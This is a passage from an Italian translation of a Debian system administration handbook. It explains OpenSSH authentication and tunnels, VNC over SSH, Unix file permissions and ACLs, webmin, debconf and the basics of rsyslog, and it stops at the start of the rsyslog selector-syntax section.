sftp è un comando interattivo, simile a ftp. In una singola sessione, sftp è in grado di trasferire più file, ed è possibile usarlo per manipolare i file remoti (eliminare, rinominare, modificare i permessi, ecc.).

Debian utilizza OpenSSH, una versione libera di SSH, mantenuta dal progetto OpenBSD (un sistema operativo libero basato sul kernel BSD, incentrato sulla sicurezza) e fork del software originale SSH sviluppato dalla società finlandese SSH Communications Security Corp. Questa società ha inizialmente sviluppato SSH come software libero, ma alla fine ha deciso di continuare il suo sviluppo sotto una licenza proprietaria. Il progetto OpenBSD quindi ha creato OpenSSH per mantenere una versione free di SSH.

FONDAMENTALEFork

Un "fork", in materia di software, significa un nuovo progetto che inizia come un clone di un progetto esistente, e che compete con esso. Da lì in poi, entrambi i software di solito divergono rapidamente in termini di nuovi sviluppi. Un fork è spesso il risultato di disaccordi all'interno del team di sviluppo.

L'opzione di fare il fork di un progetto è una diretta conseguenza della natura stessa del software libero, un fork è un evento sano quando permette la continuazione di un progetto come software libero (per esempio in caso di cambiamenti nella licenza). Un fork derivante da divergenze tecniche o personali è spesso uno spreco di risorse umane; un'altra soluzione sarebbe preferibile. Fusioni di due progetti che in precedenza hanno attraversato un fork non sono inedite.

OpenSSH è diviso in due pacchetti: la parte client è nel pacchetto openssh-client, mentre il server è nel pacchetto openssh-server. Il metapacchetto ssh dipende da entrambe le parti e facilita l'installazione di entrambi (apt install ssh), mentre il pacchetto task-ssh-server, spesso scelto durante prima installazione del sistema, dipende soltanto dal pacchetto contenente il server.

9.2.1.1. Autenticazione basata su chiave

Ogni volta che qualcuno si collega tramite SSH il server remoto richiede una password per autenticare l'utente. Questo può essere problematico se si vuole automatizzare una connessione, o se si utilizza uno strumento che richiede collegamenti frequenti su SSH. È per questo che SSH offre un sistema di autenticazione basato su chiave.

Si può generare una coppia di chiavi sulla macchina client usando ssh-keygen -t rsa; la chiave pubblica così generata è salvata in ~/.ssh/id_rsa.pub, mentre la corrispondente chiave privata è salvata in ~/.ssh/id_rsa. Si può poi utilizzare ssh-copy-id server per aggiungere le sue chiavi pubbliche al file ~/.ssh/authorized_keys presente sul server, o, se l'accesso SSH non è ancora stato abilitato, si deve chiedere all'amministratore di aggiungerle manualmente.

Se la chiave privata non è stata protetta con una "passphrase" al momento della sua creazione, tutti gli accessi successivi sul server funzioneranno senza una password. In caso contrario, la chiave privata dovrà essere decifrata ogni volta inserendo la "passphrase". Fortunatamente, ssh-agent ci permette di mantenere in memoria le chiavi private in modo da non dover reinserire continuamente la password. Per questo, è sufficiente utilizzare ssh-add (una volta per ogni sessione di lavoro), a condizione che la sessione sia già associata ad un'istanza funzionante di ssh-agent. Debian la attiva come impostazione predefinita nelle sessioni grafiche, ma è possibile disattivare questo comportamento cambiando /etc/X11/Xsession.options e commentando use-ssh-agent. Per una sessione della console, è possibile avviare l'agent manualmente tramite eval $(ssh-agent).

SICUREZZA Protezione della chiave privata

Chi ha la chiave privata può effettuare il login sull'account così configurato. Per questo motivo l'accesso alla chiave privata viene protetto da una "passphrase". Chi viene in possesso di una copia di una chiave privata (ad esempio, ~/.ssh/id_rsa) deve comunque sapere questa frase per essere in grado di utilizzarla. Questa protezione aggiuntiva non è, tuttavia, inespugnabile, e se si pensa che questo file è stato compromesso, è meglio disabilitare la chiave sui computer in cui è stata installata (rimuovendola dal file authorized_keys) e sostituendola con una nuova chiave generata.

CULTURA Problemi di OpenSSL in Debian Etch

La libreria OpenSSL, come inizialmente fornita in Debian Etch, aveva un problema serio nel suo generatore di numeri casuali (RNG). Infatti, il manutentore Debian ha fatto un cambiamento in modo che le applicazioni che la usavano non generassero più avvertimenti quando erano analizzati con strumenti di test di memoria, come valgrind. Sfortunatamente, questo cambiamento comportava anche che la RNG impiegasse una sola fonte di entropia, corrispondente al numero di processo (PID) i cui possibili 32.000 valori non offrono abbastanza casualità.

→ https://www.debian.org/security/2008/dsa-1571

Nello specifico, quando OpenSSL veniva impiegato per generare una chiave, produceva sempre una chiave all'interno di un insieme noto di centinaia di migliaia di chiavi (32.000 moltiplicato per un piccolo numero di lunghezze di chiave). Questo riguardava le chiavi SSH, le chiavi SSL ed i certificati X.509 utilizzati da numerose applicazioni, come ad esempio OpenVPN. Un cracker doveva quindi solo provare tutte le chiavi per ottenere un accesso non autorizzato. Per ridurre l'impatto del problema, il demone SSH è stato modificato in modo da rifiutare le chiavi problematiche che sono elencate nei pacchetti openssh-blacklist e openssh-blacklist-extra. Inoltre, il comando ssh-vulnkey consente l'identificazione delle chiavi eventualmente compromesse nel sistema.

Un'analisi più approfondita di questo incidente mette in luce che è il risultato di molteplici (piccoli) problemi, sia all'interno del progetto OpenSSL, che con il responsabile del paccheto Debian. Una libreria ampiamente utilizzata come OpenSSL non dovrebbe — senza modifiche — generare avvisi quando viene testata da valgrind. Inoltre, il codice (in particolare quelle parti tanto delicate come la RNG) dovrebbe essere commentate meglio per evitare questi errori. Da parte sua il reponsabile del pacchetto Debian, vuole confermare le sue modifiche dagli sviluppatori di OpenSSL, ma le ha semplicemente spiegate senza fornire loro la corrispondente patch da revisionare ed ha omesso di mesionare il suo ruolo all'interno di Debian. Infine, le scelte di manutenzioneerano sub-attimali: le modifiche fatte al codice originale non sono state chiaramente documentate; tutte le modifiche sono effettivamente memorizzate in un repository Subversion, ma sono finite tutte concentrate in una singola patch durante la creazione del pacchetto sorgente.

In queste condizioni è difficile trovare le misure correttive per evitare il ripetersi di questi incidenti. La lezione da trarre è che ogni divergenza che Debian introduce nel software originale deve essere giustificata, documentata, presentata nel progetto principale, quando possibile, e ampiamente pubblicizzata. È in base a questa prospettiva che sono stati sviluppati il nuovo formato dei pacchetti sorgente ("3.0 (quilt)") ed i servizi web dei sorgenti Debian.

→ https://sources.debian.org

9.2.1.2. Autenticazione basata su certificato

Le chiavi SSH non possono essere protette soltanto con una password (o senza). Una caratteristica spesso sconosciuta è che è possibile firmarle tramite un certificato, sia la chiave dell'host che quella del client. Questo approccio presenta diversi vantaggi. Al posto di mantenere un file authorized_keys per utente, come descritto nella sezione precedente, il server SSH può essere configurato per dare fiducia a tutte le chiavi dei client firmate dallo stesso certificato (vedere anche Sezione 10.2.2, «Infrastruttura a chiave pubblica: easy-rsa») usando le direttive TrustedUserCAKeys e HostCertificate presenti in /etc/ssh/sshd_config.

TrustedUserCAKeys /etc/ssh/ssh_users_ca.pub HostKey /etc/ssh/ssh_host_ecdsa_key HostCertificate /etc/ssh/ssh_host_ecdsa_key-cert.pub

Viceversa i client possono essere anche configurati per fidarsi delle chiavi degli host firmate dalla stessa autorità, rendendo più semplice il mantenimento del file known_hosts (anche a livello di sistema tramite /etc/ssh/known_hosts).

@cert-authority *.falcot.com ssh-rsa AAAA[..]

Le autenticazioni con chiave pubblica e con certificato possono essere usate contemporaneamente.

9.2.1.3. Utilizzo di applicazioni X11 remote

Il protocollo SSH consente la trasmissione dei dati grafici (sessione "X11", dal nome del più diffuso sistema grafico in Unix), il server mantiene un canale dedicato per tali dati. In particolare, un programma grafico eseguito da remoto può essere visualizzato sul server X.org dello schermo locale e l'intera sessione (ingresso e visualizzazione) sarà sicura. Poiché questa funzionalità consente alle applicazioni remote di interferire con il sistema locale, è disabilitata in modo predefinito. È possibile abilitare questa funzionalità specificando X11Forwarding yes nel file di configurazione del server (/etc/ssh/sshd_config). Infine, l'utente deve anche richiederla aggiungendo l'opzione -X alla riga di comando di ssh.

APPROFONDIMENTO Cookie magici in .Xauthority

Quando ci si connette tramite SSH e si avvia una sessione X11 remota, viene creato un cosiddetto cookie magico che viene salvato nel file .Xauthority della directory home dell'utente che ha avviato la connessione. Questo cookie è usato da xauth per autenticare l'utente durante la sessione X. Se si impersona un altro utente del sistema, ad esempio usando su o sudo, allora il cookie non è copiato automaticamente sull'utente impersonato e il server X si rifiuterà di avviare applicazioni grafiche nel contesto di quest'ultimo utente. Si deve copiare il cookie magico nella directory home di questo utente (tramite l'esportazione e la reimportazione del cookie con xauth) per permettergli di eseguire programmi grafici durante la sessione X.

9.2.1.4. Creazione di tunnel cifrati con il port forwarding

Le opzioni -R e -L consentono a ssh di creare "tunnel cifrati" tra due macchine, inoltrando in modo sicuro una porta TCP locale (vedere il riquadro FONDAMENTALE TCP/UDP) ad un computer remoto o viceversa.

VOCABOLARIO Tunnel

Internet, e la maggior parte delle LAN che vi sono collegate, opera in modalità a pacchetto e non in modalità connessa, il che significa che un pacchetto emesso da un computer verso un altro verrà fermato in vari router intermedi per trovare la strada verso la destinazione. È ancora possibile simulare il funzionamento in collegamento in cui il flusso è racchiuso in pacchetti IP normali. Questi pacchetti seguono il loro percorso abituale, ma il flusso viene ricostruito invariato a destinazione. Questo viene chiamato "tunnel", analogo ad una galleria stradale in cui i veicoli viaggiano direttamente dall'ingresso (input) all'uscita (output) senza incontrare alcun incrocio, al contrario di un percorso sulla superficie che comporterebbe incroci e cambiamenti di direzione.

È possibile utilizzare questa opportunità per aggiungere la cifratura al tunnel: il flusso che scorre attraverso di esso è quindi irriconoscibile dall'esterno, ma viene riportato alla forma decifrata all'uscita del tunnel.

ssh -L 8000:server:25 intermediario stabilisce una sessione SSH con l'host intermediario e ascolta sulla porta locale 8000 (vedere Figura 9.3, «Inoltro di una porta locale con SSH»). Per ogni connessione stabilita su questa porta, ssh avvierà una connessione dal computer intermediario alla porta 25 sul server legando insieme entrambe le connessioni.

Anche ssh -R 8000:server:25 intermediario stabilisce una sessione SSH al computer intermediario, ma è in questa macchina che ssh è in ascolto sulla porta 8000 (vedere Figura 9.4, «Inoltro di una porta remota con SSH»). Ogni connessione stabilita sulla porta farà sì che ssh aprirà una connessione dalla macchina locale alla porta 25 del server legando insieme entrambe le connessioni.

In entrambi i casi, le connessioni sono realizzate sulla porta 25 dell'host server, e passano attraverso il tunnel SSH stabilito tra la macchina locale e la macchina intermediario. Nel primo caso, l'ingresso del tunnel è locale sulla porta 8000, ed i dati si muovono verso la macchina intermediario prima di essere diretti al server sulla rete "pubblica". Nel secondo caso, l'ingresso e l'uscita del tunnel sono invertiti, l'ingresso è la porta 8000 sulla macchina intermediario, l'uscita è sulla macchina locale, ed i dati vengono poi indirizzati al server. In pratica, il server è di solito o la macchina locale o l'intermediario. In questo modo SSH rende sicura la connessione da un'estremità all'altra.

Figura 9.3. Inoltro di una porta locale con SSH

Figura 9.4. Inoltro di una porta remota con SSH

9.2.2. Utilizzo di desktop remoti grafici

VNC (Virtual Network Computing) permette l'accesso remoto a desktop grafici.

Questo strumento è usato soprattutto per l'assistenza tecnica; l'amministratore può visualizzare gli errori che l'utente si trova ad affrontare, e mostrargli la cosa corretta da fare, senza dover essere fisicamente presente.

In primo luogo, l'utente deve autorizzare la condivisione della sessione. L'ambiente desktop grafico GNOME include questa opzione tramite Impostazioni → Condivisioni (contrariamente alle precedenti versioni di Debian dove si doveva installare ed eseguire vino). Per far sì che questo funzioni occorre che network-manager stia gestendo la rete utilizzata (ad esempio abilitare la modalità managed (gestita) per dispositivi gestiti da ifupdown in /etc/NetworkManager/NetworkManager.conf). KDE Plasma richiede ancora l'uso di krfb per consentire la condivisione di una sessione esistente tramite VNC. Per gli altri ambienti desktop grafici, il comando x11vnc o i comandi tightvncserver (dal pacchetto Debian con lo stesso nome) o tigervncserver (tigervnc-standalone-server) servono per lo stesso scopo e forniscono il pacchetto virtuale vnc-server; è possibile renderli entrambi disponibili per l'utente con un elemento esplicito del menu o del desktop.

Quando la sessione grafica è messa a disposizione da VNC, l'amministratore deve connettersi con un client VNC. GNOME fornisce vinagre e remmina per questo scopo, mentre KDE include krdc (nel menu K → Internet → Client per connessione a desktop remoto). Ci sono altri client VNC che utilizzano la riga di comando, come ad esempio xtightvncviewer nel pacchetto omonimo o xtigervncviewer dal pacchetto tigervnc-viewer. Una volta connesso, l'amministratore può vedere cosa sta succedendo, lavorare sulla macchina in remoto e mostrare all'utente come procedere.

SICUREZZA VNC su SSH

Se si desidera connettersi a VNC, e non si desidera che i dati siano trasmessi in chiaro sulla rete, è possibile incapsulare i dati in un tunnel SSH (vedere la Sezione 9.2.1.4, «Creazione di tunnel cifrati con il port forwarding»). È sufficiente sapere che VNC usa la porta 5900 per impostazione predefinita per il primo schermo (chiamato "localhost: 0"), 5901 per il secondo (chiamato "localhost: 1"), ecc.

Il comando ssh -L localhost:5901:localhost:5900 -N -T macchina crea un tunnel tra porta locale 5901 nell'interfaccia localhost e la porta 5900 della macchina host. Il primo "localhost" limita SSH in modo che ascolti solo sull'interfaccia della macchina locale. Il secondo "localhost" indica l'interfaccia sul computer remoto che riceverà il traffico di rete in entrata su "localhost:5901". Così vncviewer localhost:1 collegherà il client VNC allo schermo remoto, anche se si indica il nome della macchina locale.

Quando la sessione VNC è chiusa, bisogna ricordarsi di chiudere il tunnel, uscendo anche dalla corrispondente sessione SSH.

FONDAMENTALE gestore del Display

gdm3, kdm, lightdm e xdm sono display manager, o gestori del display, (tutti forniscono il metapacchetto x-display-manager). Assumono il controllo dell'interfaccia grafica poco dopo l'avvio in modo da fornire all'utente una schermata di accesso. Una volta che l'utente si è connesso, eseguono i programmi necessari per avviare una sessione grafica di lavoro.

9.3. Gestione dei permessi

Linux è decisamente un sistema multi-utente, per cui è necessario fornire un sistema di permessi per il controllo delle operazioni autorizzate su file e directory, che comprende tutte le risorse di sistema e i device (in un sistema Unix, qualsiasi dispositivo è rappresentato da un file o directory). Questo principio è comune a tutti i sistemi Unix, ma un promemoria è sempre utile, soprattutto perché ci sono alcuni utilizzi avanzati interessanti e relativamente sconosciuti.

9.3.1. Proprietari e Permessi

Ogni file o directory ha permessi specifici per tre categorie di utenti:

il proprietario (simboleggiato dalla lettera u di "user");

il gruppo proprietario (simboleggiato dalla lettera g di "group"), in rappresentanza di tutti i membri del gruppo;

gli altri (simboleggiati dalla lettera o di "other").

Si possono combinare tre tipi di diritti base:

lettura (simboleggiata dalla lettera r di "read");

scrittura (o modifica, simboleggiata dalla lettera w di "write");

esecuzione (simboleggiata dalla lettera x come in "eXecute").

Nel caso di un file, questi diritti sono di facile comprensione: l'accesso in lettura permette di leggerne il contenuto (incluso farne una copia), l'accesso in scrittura permette di cambiarlo, e l'accesso in esecuzione permette di eseguirlo (che funziona solo se si tratta di un programma).

SICUREZZA eseguibili setuid e setgid

Due diritti particolari sono rilevanti per i file eseguibili: setuid e setgid (simboleggiati con la lettera "s"). Si noti che spesso si parla di "bit", poiché ciascuno di questi valori Booleani può essere rappresentato da uno 0 o un 1. Questi due diritti consentono a qualsiasi utente di eseguire il programma con i diritti del proprietario o del suo gruppo, rispettivamente. Questo meccanismo garantisce l'accesso alle funzionalità che richiedono permessi di livello superiore rispetto a quelli che si avrebbero di solito.

Poiché un programma con setuid root è sistematicamente eseguito con l'identità del superutente, è molto importante assicurarsi che sia sicuro e affidabile. Infatti, un utente che riuscisse a sovvertirlo per invocare un comando di sua scelta potrebbe poi impersonare l'utente root ed avere tutti i diritti sul sistema.

Se è necessario eseguire un programma con un utente differente o se un programma richiede permessi più elevati, i comandi sudo, su o runuser sono di solito la scelta migliore rispetto ad usare questi bit (vedere Sezione 8.9.4, «Condivisione dei privilegi di amministrazione»).

Una directory è gestita in modo diverso. L'accesso in lettura dà il diritto di consultare l'elenco delle sue voci (file e directory), l'accesso in scrittura permette di creare o eliminare file, mentre l'accesso in esecuzione permette di attraversarla (soprattutto di andarvi con il comando cd). Essere in grado di attraversare una directory senza essere in grado di leggerla dà il permesso di accedere alle voci al suo interno di cui si conosce il nome, ma non di trovarle senza sapere che esistono o sotto quale nome esatto.

SICUREZZA directory setgid e sticky bit

Il bit setgid vale anche per le directory. Qualsiasi elemento appena creato in tali directory viene assegnato automaticamente al gruppo proprietario della directory genitore, invece di ereditare il gruppo principale del creatore come al solito. Questa configurazione evita che l'utente debba cambiare il suo gruppo principale (con il comando newgrp) quando lavora in un albero di file condiviso tra più utenti dello stesso gruppo dedicato.

Lo "sticky" bit (simboleggiato dalla lettera "t") è un permesso che è utile solo nelle directory. È particolarmente utilizzato per le directory temporanee in cui tutti hanno accesso in scrittura (come /tmp/): esso limita l'eliminazione di file in modo che solo il loro proprietario (o il proprietario della directory genitore) possa farlo. In mancanza di questo, tutti potrebbero eliminare i file di altri utenti in /tmp/.

Tre comandi controllano i permessi associati ad un file:

chown utente file cambia il proprietario del file;

chgrp gruppo file cambia il gruppo proprietario;

chmod permessi file cambia i permessi per il file.

Ci sono due modi di rappresentare i permessi. Tra questi, la rappresentazione simbolica è probabilmente la più facile da capire e ricordare. Utilizza i simboli lettera descritti in precedenza. È possibile definire i permessi per ogni categoria di utenti (u/g/o), impostandoli in modo esplicito (con = ), aggiungendone (+) o sottraendone (-). Così la formula u=rwx,g+rw,o-r conferisce al proprietario i permessi di lettura, scrittura ed esecuzione, aggiunge i permessi di lettura e scrittura per il gruppo proprietario, e rimuove i diritti di lettura per altri utenti. I permessi non alterati con le aggiunte o sottrazioni fatte da tale comando non vengono modificati. La lettera a, per "all" (tutti), copre tutte le tre categorie di utenti, così che a=rx garantisce a tutte e tre le categorie gli stessi diritti (lettura ed esecuzione, ma non scrittura).

La rappresentazione numerica (ottale) associa ogni permesso ad un valore: 4 per la lettura, 2 per la scrittura e 1 per l'esecuzione. Ogni combinazione di permessi viene associata con la somma delle cifre. I valori vengono quindi assegnati alle diverse categorie di utenti mettendoli in fila nell'ordine consueto (proprietario, gruppo, altri).

Ad esempio, il comando chmod 754 file imposta i seguenti permessi: lettura, scrittura ed esecuzione per il proprietario (perché 7 = 4 + 2 + 1), lettura ed esecuzione per il gruppo (perché 5 = 4 + 1), sola lettura per gli altri. Il numero 0 (zero) significa che non si hanno permessi; così chmod 600 file permette la lettura/scrittura per il proprietario, e nessun diritto per chiunque altro. Le combinazioni di permessi più frequenti sono 755 per le directory e i file eseguibili e 644 per i file di dati.

Per rappresentare i permessi speciali, è possibile anteporre una quarta cifra a questo numero in base allo stesso principio, in cui il bit setuid, il bit setgid e lo sticky bit sono rispettivamente 4, 2 e 1. chmod 4754 assocerà il bit setuid con i permessi descritti in precedenza.

Si noti che l'uso della notazione ottale consente solo di impostare tutti i permessi in una sola volta su un file, non è possibile utilizzarla per aggiungere semplicemente un nuovo permesso, come l'accesso in lettura per il gruppo proprietario, in quanto è necessario tener conto dei diritti esistenti e calcolare il nuovo valore numerico corrispondente.

SUGGERIMENTO Operazioni ricorsive

A volte è necessario cambiare i permessi per un intero albero di file. Tutti i comandi sopra descritti hanno l'opzione -R per operare ricorsivamente in sotto-directory.

La distinzione tra directory e file causa talvolta problemi con le operazioni ricorsive. Per questo motivo, nella rappresentazione simbolica dei diritti è stata introdotta la lettera "X". Anch'essa rappresenta il diritto di esecuzione, ma si applica in modo diverso alle directory ed ai file.

Per le directory aggiunge i permessi di esecuzione agli utenti scelti. Per i file, aggiunge il bit eseguibile solo se almeno uno degli utenti (proprietario, gruppo o altri) ha già i permessi di esecuzione. Facciamo un esempio, poiché questo bit può confondere:

$ ls test.txt -rw-r--r-- 1 daniel daniel 0 18. Nov 01:07 test.txt $ chmod u+X test.txt $ ls test.txt -rw-r--r-- 1 daniel daniel 0 18. Nov 01:07 test.txt $ chmod o+x test.txt $ ls test.txt -rw-r--r-x 1 daniel daniel 0 18. Nov 01:07 test.txt $ chmod u+X test.txt $ ls test.txt -rwxr--r-x 1 daniel daniel 0 18. Nov 01:07 test.txt

L'esempio mostra un tipico file con i permessi predefiniti: il proprietario può leggerlo e scriverlo, il gruppo del proprietario e tutti gli altri utenti possono leggerlo. L'operazione successiva (u+X) non aggiungerà i permessi di esecuzione per il proprietario del file, perché i permessi di esecuzione non sono stati assegnati. L'operazione non ha alcun effetto sul file. Successivamente assegniamo i diritti di esecuzione per gli "altri" utenti e ripetiamo l'operazione. Questa volta l'operazione ha successo, perché almeno un gruppo di utenti aveva già i permessi di esecuzione.

È sbagliato pensare che questo bit abbia effetto solo sulle directory. Se i file e le directory hanno permessi misti, sarebbe opportuno usare il comando find per individuare i target su cui si vuole operare.

SUGGERIMENTO Cambiare insieme utente e gruppo

Spesso si desidera cambiare il gruppo di un file nello stesso momento in cui si cambia il proprietario. Il comando chown ha una sintassi apposita per questo: chown utente:gruppo file. Questa sintassi può essere usata anche per cambiare ricorsivamente (-R) le proprietà di un'intera directory.

APPROFONDIMENTOumask

Quando un'applicazione crea un file, assegna dei permessi indicativi, sapendo che il sistema rimuove automaticamente alcuni diritti, dati dal comando umask. Digitate umask in una shell; vedrete una maschera come 0022. Si tratta semplicemente della rappresentazione ottale dei diritti da rimuovere sistematicamente. In questo caso, il diritto di scrittura per il gruppo e gli altri utenti: con il predetto valore umask, i permessi predefiniti per le directory 777 diventano 755 ed i permessi predefiniti per i file 666 diventano 644.

Il valore di sistema predefinito è gestito da pam_umask(8) e /etc/login.defs.

Se si assegna un nuovo valore ottale, il comando umask modifica la maschera. Usato in un file di inizializzazione della shell (per esempio, ~/.bashrc o ~/.profile), cambierà effettivamente la maschera predefinita per le tue sessioni di lavoro.

9.3.2. ACL - Access Control List (lista di controllo degli accessi)

Molti file system, come Btrfs, Ext3, Ext4, JFS, XFS etc., supportano l'uso di liste di controllo degli accessi (ACL). Queste estendono le caratteristiche di base della proprietà e dei permessi dei file, descritte nella sezione precedente consentendo un controllo granulare di ogni oggetto (file). Ad esempio: un utente vuole condividere un file con un altro utente che deve poterlo solo leggere, ma non scrivere o modificare.

Per alcuni filesystem l'uso delle ACL è abilitato in modo predefinito (esempi: Btrfs, Ext3, Ext4). Per altri filesystem o vecchi sistemi deve essere abilitato con l'opzione acl del comando mount - nel comando mount direttamente o in /etc/fstab. Nello stesso modo si può disabilitare l'uso della ACL tramite l'opzione noacl di mount. Per i filesystem Ext* si può usare anche il comando tune2fs -o [no]acl /dev/dispositivo per abilitare o disabilitare in modo predefinito l'uso delle ACL. Il valore predefinito per ogni filesystem può essere reperito nelle pagine del manuale omonimo nella sezione 5 (filesystem(5)) o in mount(8).

Dopo aver abilitato le ACL, i permessi possono essere impostati usando il comando setfacl(1), mentre getfacl(1) permette di recuperare le ACL per un determinato percorso. Questi comandi fanno parte del pacchetto acl. Con setfacl si possono anche configurare i nuovi file e directory creati per far sì che ereditino i permessi dalle directory padre. È importante notare che le ACL sono elaborate nell'ordine in cui appaiono e che una voce precedente che si adatta alla situazione ha la precedenza sulle voci successive.

Se un file ha le ACL impostate, l'output del comando ls -l mostrerà un segno più dopo i permessi tradizionali. Quando si usano le ACL il comando chmod si comporta in un modo leggermente differente e umask potrebbe essere ignorato. Maggiori informazioni sono contenute nell'ampia documentazione, ad esempio acl(5).

9.4. Interfacce di amministrazione

L'utilizzo di un'interfaccia grafica per l'amministrazione è interessante per diversi motivi. Un amministratore non deve necessariamente conoscere tutti i dettagli di configurazione per tutti i servizi, e non sempre ha il tempo per andare a cercare documentazione in materia. Un'interfaccia grafica per l'amministrazione può quindi accelerare la messa in opera di un nuovo servizio. Può anche semplificare la configurazione di quei servizi che sono difficili da configurare.

Tale interfaccia è solo di aiuto, e non un fine in sé. In ogni caso, l'amministratore deve padroneggiare il suo comportamento al fine di capire e risolvere eventuali problemi.

Dal momento che nessuna interfaccia è perfetta, si può essere tentati di provare diverse soluzioni. Questo è da evitare per quanto possibile, dal momento che i diversi strumenti sono a volte incompatibili tra di loro. Anche se tutti mirano ad essere molto flessibili e cercano di adottare il file di configurazione come unico riferimento, non sono sempre in grado di integrare cambiamenti esterni.

9.4.1. Amministrare tramite un'interfaccia Web: webmin

Questa è, senza dubbio, una delle interfacce di amministrazione di maggior successo. Si tratta di un sistema modulare gestito attraverso un browser web, che copre una vasta gamma di aree e strumenti. Inoltre, è internazionalizzato e disponibile in molte lingue.

Figura 9.5. Cruscotto Webmin

Purtroppo, webmin non fa più parte di Debian. Il suo manutentore Debian, ha rimosso i pacchetti che ha creato, perché non aveva più il tempo necessario per mantenerli a un livello qualitativo accettabile. Nessuno ha ufficialmente preso il suo posto, quindi Debian non fornisce il pacchetto webmin.

Esiste, comunque, un pacchetto non ufficiale distribuito sul sito web webmin.com. Contrariamente ai pacchetti Debian originali, questo pacchetto è monolitico, tutti i suoi moduli di configurazione sono installati e attivati in modo predefinito, anche se il servizio corrispondente non è installato sulla macchina.

SICUREZZA Cambiare la password di root

Per il primo accesso, l'identificazione è basata sul nome utente root e la sua password abituale (o qualsiasi credenziale di login di utenti che appartengono al gruppo sudo). Si raccomanda di modificare la password utilizzata per webmin il più presto possibile, in modo che se venisse compromesso, gli account degli utenti del server non saranno coinvolti, anche se questo conferisce importanti diritti amministrativi alla macchina.

Attenzione! Dato che webmin ha così tante funzionalità, un utente malintenzionato accedendo ad esso potrebbe compromettere la sicurezza dell'intero sistema. In generale, questo tipo di interfacce non sono raccomandate per quei sistemi importanti con forti vincoli di sicurezza (firewall, server sensibili, ecc.) e non è nemmeno raccomandata la loro esposizione pubblica.

Webmin viene usato tramite un'interfaccia web, ma non richiede che Apache sia installato. In sostanza, questo software dispone di un proprio mini-server web integrato. Questo server è in ascolto in modo predefinito sulla porta 10000 e accetta connessioni HTTP sicure.

I moduli inclusi coprono una vasta gamma di servizi, tra cui:

tutti i servizi di base: creazione di utenti e gruppi, gestione dei file crontab, script o file di servizi, visualizzazione dei log, ecc.

bind: configurazione del server DNS (servizio dei nomi);

postfix: configurazione del server SMTP (e-mail);

servizi di rete: configurazione del super-server xinetd;

quota del disco: gestione delle quote degli utenti;

dhcpd: configurazione del server DHCP;

proftpd: configurazione del server FTP;

samba: configurazione del server di file Samba;

software: installazione o rimozione di software di pacchetti Debian e aggiornamenti di sistema.

L'interfaccia di amministrazione è disponibile in un browser web all'URL https://localhost:10000. Attenzione! Non tutti i moduli sono direttamente utilizzabili. A volte devono essere configurati specificando i percorsi dei file di configurazione corrispondenti e di alcuni file eseguibili (programma). Spesso il sistema chiedere all'utente nel caso non riesca ad attivare un modulo richiesto.

ALTERNATIVA Centro di controllo di GNOME

Il progetto GNOME fornisce anche diverse interfacce di amministrazione che sono solitamente accessibili attraverso la voce "Impostazioni" nel menu utente in alto a destra. gnome-control-center è il programma principale che le riunisce tutte, ma molti degli strumenti di configurazione a livello di intero sistema sono in effetti forniti da altri pacchetti (accountsservice, system-config-printer, ecc.). Anche se facili da usare, queste applicazioni coprono solo un numero limitato di servizi di base: la gestione degli utenti, la configurazione di data e ora, la configurazione della rete, della stampa e così via.

9.4.2. Configurazione dei pacchetti: debconf

Molti pacchetti vengono configurati automaticamente dopo aver posto alcune domande durante l'installazione attraverso lo strumento Debconf. Questi pacchetti possono essere riconfigurati mediante l'esecuzione di dpkg-reconfigure -plevel pacchetto.

Nella maggior parte dei casi, queste impostazioni sono molto semplici, solo alcune importanti variabili nel file di configurazione vengono modificate. Queste variabili sono spesso raggruppate tra due "righe di demarcazione" in modo che la riconfigurazione del pacchetto influisca solo sull'area racchiusa. In altri casi, la riconfigurazione non cambierà nulla se lo script rileva una modifica manuale del file di configurazione, al fine di conservare questi interventi umani (perché lo script non può garantire che le sue proprie modifiche non ostacoleranno le impostazioni esistenti).

DEBIAN POLICY Preservare le modifiche

La Debian Policy prevede espressamente che dovrebbe essere fatto tutto il possibile per mantenere le modifiche manuali apportate a un file di configurazione, perciò sempre più script prendono le dovute precauzioni durante la modifica dei file di configurazione. Il principio generale è semplice: lo script apporta modifiche solo se conosce lo stato del file di configurazione, il quale viene verificato confrontando il checksum del file con quello dell'ultimo file generato automaticamente. Se sono uguali, lo script è autorizzato a modificare il file di configurazione. In caso contrario, determina che il file è stato modificato e chiede quale comportamento deve adottare (installare il nuovo file, salvare il vecchio file, o cercare di integrare i nuovi cambiamenti con il file esistente). Questo principio di precauzione è stato a lungo specifico di Debian, ma altre distribuzioni hanno gradualmente cominciato ad abbracciarlo.

Il programma ucf (dal pacchetto Debian omonimo) può essere utilizzato per implementare un tale comportamento.

9.5. syslog, eventi di sistema

9.5.1. Principi e meccanismi

Il demone rsyslogd è responsabile della raccolta dei messaggi di servizio provenienti da applicazioni e dal kernel, distribuendoli poi nei file di log (di solito memorizzati nella directory /var/log/). Obbedisce al file di configurazione /etc/rsyslog.conf.

Ciascun messaggio di log è associato a un sottosistema di applicazioni (denominata "facility" nella documentazione):

auth e authpriv: per l'autenticazione;

cron: proviene da servizi di pianificazione delle attività, cron e atd;

daemon: interessa un demone senza alcuna classificazione speciale (DNS, NTP, ecc.);

ftp: riguarda il server FTP;

kern: messaggio proveniente dal kernel;

lpr: deriva dal sottosistema di stampa;

mail: proviene dal sottosistema per la posta elettronica;

news: messaggio del sottosistema Usenet (specialmente da un server NNTP, Network News Transfer Protocol, che gestisce i newsgroup);

syslog: messaggi dal server syslogd stesso;

user: messaggi utente (generico);

uucp: messaggi dal server UUCP (Unix to Unix Copy Program, un vecchio protocollo utilizzato in particolare per distribuire i messaggi di posta elettronica);

da local0 a local7: riservato per l'uso locale.

Ogni messaggio è anche associato a un livello di priorità. Ecco l'elenco in ordine decrescente:

emerg: "Aiuto!" C'è un'emergenza, il sistema è probabilmente inutilizzabile.

alert: affrettarsi, ogni ritardo può essere pericoloso, bisogna agire immediatamente;

crit: le condizioni sono critiche;

err: errore;

warn: avvertimento (potenziale errore);

notice: le condizioni sono normali, ma il messaggio è importante;

info: messaggio informativo;

debug: messaggio di debug.

9.5.2. Il file di configurazione

La sintassi del file /etc/rsyslog.conf viene specificata nella pagina di manuale rsyslog.conf(5), ma è anche disponibile documentazione in HTML presente nel pacchetto rsyslog-doc (/usr/share/doc/rsyslog-doc/html/index.html). Il principio generale è quello di scrivere coppie di "selettori" e "azioni". Il selettore definisce tutti i messaggi rilevanti, e le azioni descrivono come trattarli.

9.5.2.1. Sintassi del selettore

